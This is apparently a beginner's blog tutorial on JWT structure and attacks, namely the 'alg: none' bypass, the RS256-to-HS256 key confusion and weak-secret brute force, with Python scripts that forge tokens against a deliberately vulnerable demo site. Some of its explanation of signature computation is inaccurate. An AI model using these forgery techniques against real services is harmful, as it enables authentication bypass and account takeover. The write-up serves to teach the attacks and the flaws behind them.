Hacking JSON Web Token (JWT)
Hey,
Well this is my first writeup and there might be ton of mistakes as i go along writing it out so please give me feedback so that i can work over it.
So lets start!
0x01 JWT workflow
Starting with JWT, it is a very lightweight specification
This specification allows us to use JWT to pass secure and reliable information between users and servers.
JWT is often used for front-end and back-end separation and can be used with the Restful API and is often used to build identity authentication mechanisms.
Take an example of vimeo.com , which is one of the biggest video hosting companies as per my knowledge.
When a user enters his/her credentials, a post request is sent (check Figure 1) after which the credentials are validated. If they are a correct combo then the user is presented with response having a JWT token as seen in Figure 2.
Example JWT : eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
Now whenever a user accesses something, the request which are made are slightly different having a new header authorization: jwt
It can be seen that JWT is actually carried as authenticated information, and JWT is often stored in localstorage by frontend code.
Local storage is a new feature of HTML5 that basically allows you (a web developer) to store any information you want in your user’s browser using JavaScript. Simple, right?
0x02 JWT Format
The JWT format is very simple,
The JWT’s data is divided into three parts: headers, payloads, signatures (signature).
The three are then .
divided by base64UrlEncode
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
JWT data in the previous section (See example JWT)
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
The three parts are :
- Header
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ
Which is {“kid”:”keys/3c3c2ea1c3f113f649dc9389dd71b851",”typ”:”JWT”,”alg”:”RS256"} after decoding.
The headers contain information about the JWT configuration, such as the signature algorithm (alg), type (JWT), and key file used by the algorithm (used when the server requires multiple key files).
2. Payloads
eyJzdWIiOiJkdWJoZTEyMyJ9
Payloads are used to store some users’ data, such as username (test123).”
3. Signature
XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
Because the header and payload are stored in plaintext, the signature is used to prevent data from being modified. The
signature of the transaction function that provides data often uses RS256 (RSA asymmetric encryption and private key signature) and HS256 (HMAC SHA256 symmetric encryption) algorithm. , The signature object is base64UrlEncode(headers) + ‘.’ + base64UrlEncode(‘signature’).
Read more : https://jwt.io/introduction/
0x03 Attacking JWT
1. The leakage of sensitive information
Obviously, because the payload is transmitted in plaintext, information leakage occurs if there is sensitive information in the payload.
2. Modify the algorithm to none
Signature algorithm ensures that JWT is not modified by malicious users during transmission
But the alg field in the header can be changed to none
Some JWT libraries support the none algorithm, that is, no signature algorithm. When the alg is none, the backend will not perform signature verification.
After changing alg to none, remove the signature data from the JWT (only header + ‘.’ + payload + ‘.’) and submit it to the server.
An example of such an attack can be found at: http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
The code can be found on Github https://github.com/Sjord/jwtdemo/
The solution to this example is as follows
import jwt
import base64
# header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}
#payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
'.' + b64urlencode("{\"data\":\"test\"}") + '.'
The result is
3. Modify the algorithm RS256 to HS256 (Asymmetric Cipher Algorithm => Symmetric Cipher Algorithm)
The algorithm HS256 uses the secret key to sign and verify each message.
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
If you change the algorithm from RS256 to HS256, the backend code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.
Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data.
The backend code uses the RSA public key + HS256 algorithm for signature verification.
In the same way, you can use an example to understand this attack http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
RSA public key: http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem
The example solution is as follows
import jwt
# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# {"typ":"JWT","alg":"RS256"}
# eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNzg3NCwiZXhwIjoxNTA0MDA3OTk0LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504007874,"exp":1504007994,"data":{"hello":"world"}}
public = open('public.pem.1', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
The result is as follows (verification passed):
4. HS256 (symmetric encryption) key cracking
If the HS256 key strength is weak, it can be directly brute-forced, such as using the secret string as a key in the PyJWT library sample code.
Then the key is guessed violently, when the key is correct then the decryption is successful, the key error decryption code throws an exception
Can use PyJWT or John Ripper for crack test
Attachment: Related tools
PyJWT library https://github.com/jpadilla/pyjwt
>>> import jwt
>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'
>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])
{'some': 'payload'}